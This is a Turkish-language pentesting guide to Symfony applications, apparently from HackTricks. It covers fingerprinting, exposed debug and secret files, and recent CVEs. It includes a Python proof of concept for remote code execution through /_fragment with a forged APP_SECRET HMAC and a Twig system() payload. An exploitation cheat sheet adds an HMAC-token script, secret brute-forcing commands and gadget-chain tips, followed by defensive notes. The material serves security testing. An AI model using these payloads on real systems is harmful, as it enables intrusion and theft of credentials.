6.9 KiB
Raw Blame History

Symfony

{{#include ../../banners/hacktricks-training.md}}

Symfony, en yaygın kullanılan PHP framework'lerinden biridir ve genellikle kurumsal, e-ticaret ve CMS hedeflerinin değerlendirmelerinde (Drupal, Shopware, Ibexa, OroCRM … hepsi Symfony bileşenlerini içerir) yer alır. Bu sayfa, bir Symfony uygulaması keşfettiğinizde kontrol listenizde bulunması gereken saldırgan ipuçlarını, yaygın yanlış yapılandırmaları ve son güvenlik açıklarını toplar.

Tarihsel not: Ekosistemin büyük bir kısmı hala 5.4 LTS dalında çalışıyor (EOL Kasım 2025). Tam küçük sürümü her zaman doğrulayın çünkü birçok 2023-2025 güvenlik duyurusu yalnızca yamanmış sürümlerde düzeltildi (örneğin, 5.4.46 → 5.4.50).


Recon & Enumeration

Finger-printing

  • HTTP yanıt başlıkları: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link veya sf_redirect, sf_session, MOCKSESSID ile başlayan çerezler.
  • Kaynak kodu sızıntıları (composer.json, composer.lock, /vendor/…) genellikle tam sürümü ortaya çıkarır:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Sadece Symfony'de bulunan kamuya açık yollar:
  • /_profiler (Symfony Profiler & hata ayıklama aracı)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (güzel hata sayfaları)
  • /app_dev.php, /config.php, /config_dev.php (4.0 öncesi geliştirme ön kontrolörleri)
  • Wappalyzer, BuiltWith veya ffuf/feroxbuster kelime listeleri: symfony.txt/_fragment, /_profiler, .env, .htaccess arayın.

İlginç dosyalar & uç noktalar

Yol Neden önemli
/.env, /.env.local, /.env.prod Sıkça yanlış dağıtım → APP_SECRET, DB kimlik bilgileri, SMTP, AWS anahtarları sızar
/.git, .svn, .hg Kaynak ifşası → kimlik bilgileri + iş mantığı
/var/log/*.log, /log/dev.log Web kök yanlış yapılandırması yığın izlerini açığa çıkarır
/_profiler Tam istek geçmişi, yapılandırma, hizmet konteyneri, APP_SECRET (≤ 3.4)
/_fragment ESI/HInclude tarafından kullanılan giriş noktası. APP_SECRET bilindiğinde kötüye kullanım mümkündür
/vendor/phpunit/phpunit/phpunit Erişilebilir ise PHPUnit RCE (CVE-2017-9841)
/index.php/_error/{code} Finger-print & bazen istisna izlerini sızdırır

Yüksek Etkili Güvenlik Açıkları (2023-2025)

1. APP_SECRET ifşası ➜ RCE via /_fragment (aka “secret-fragment”)

  • CVE-2019-18889 başlangıçta, ancak hala hata ayıklama etkin bırakıldığında veya .envığa çıktığında modern hedeflerde görünmektedir.
  • 32 karakterlik APP_SECRET'i bildiğinizde, bir HMAC token oluşturun ve rastgele Twig çalıştırmak için dahili render() kontrolörünü kötüye kullanın:
# PoC  gizli anahtar gerektirir
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # Twig'de RCE
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Harika bir yazım ve istismar scripti: Ambionics blogu (Kaynaklar'da bağlantılı).

2. Windows Process Hijack CVE-2024-51736

  • Process bileşeni, Windows'ta PATH'ten önce geçerli çalışma dizinini aradı. Yazılabilir bir web köküne tar.exe, cmd.exe vb. yükleyebilen bir saldırgan, Process'i tetikleyerek (örneğin, dosya çıkarma, PDF oluşturma) komut yürütme elde eder.
  • 5.4.50, 6.4.14, 7.1.7'de yamanmıştır.

3. Session-Fixation CVE-2023-46733

  • Kimlik doğrulama koruyucusu, giriş yaptıktan sonra mevcut bir oturum kimliğini yeniden kullandı. Bir saldırgan, kurban kimlik doğrulama yapmadan önce çerezi ayarlarsa, giriş sonrası hesabı ele geçirir.

4. Twig sandbox XSS CVE-2023-46734

  • Kullanıcı kontrolündeki şablonları (admin CMS, e-posta oluşturucu) açığa çıkaran uygulamalarda nl2br filtresi, sandbox'ı atlatmak ve JS enjekte etmek için kötüye kullanılabilir.

5. Symfony 1 gadget zincirleri (hala eski uygulamalarda bulunuyor)

  • phpggc symfony/1 system id komutu, sfNamespacedParameterHolder gibi sınıflarda unserialize() gerçekleştiğinde RCE'yi tetikleyen bir Phar yükü üretir. Dosya yükleme uç noktalarını ve phar:// sarmalayıcılarını kontrol edin.

{{#ref}} ../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md {{#endref}}


Exploitation Cheat-Sheet

Calculate HMAC token for /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Zayıf APP_SECRET için Bruteforce

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE via exposed Symfony Console

Eğer bin/console php-fpm veya doğrudan CLI yüklemesi aracılığıyla erişilebilir ise:

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Kötü niyetli Twig şablonunu bir sonraki istekte çalıştırmak için önbellek dizininde serileştirme aletleri kullanın veya yazın.


Savunma notları

  1. Asla hata ayıklama dağıtmayın (APP_ENV=dev, APP_DEBUG=1) üretime; web sunucusu yapılandırmasında /app_dev.php, /_profiler, /_wdt'yi engelleyin.
  2. Gizli anahtarları env değişkenlerinde veya vault/secrets.local.php'da saklayın, asla belge köküne erişilebilen dosyalarda saklamayın.
  3. Yaman yönetimini zorunlu kılın Symfony güvenlik duyurularına abone olun ve en az LTS yaman seviyesini koruyun.
  4. Windows'ta çalışıyorsanız, CVE-2024-51736'yı hafifletmek için hemen güncelleyin veya open_basedir/disable_functions derinlik savunması ekleyin.

Kullanışlı saldırgan araçlar

  • ambionics/symfony-exploits gizli parça RCE, hata ayıklayıcı yollar keşfi.
  • phpggc Symfony 1 & 2 için hazır gadget zincirleri.
  • sf-encoder _fragment HMAC'ını hesaplamak için küçük bir yardımcı (Go uygulaması).

Referanslar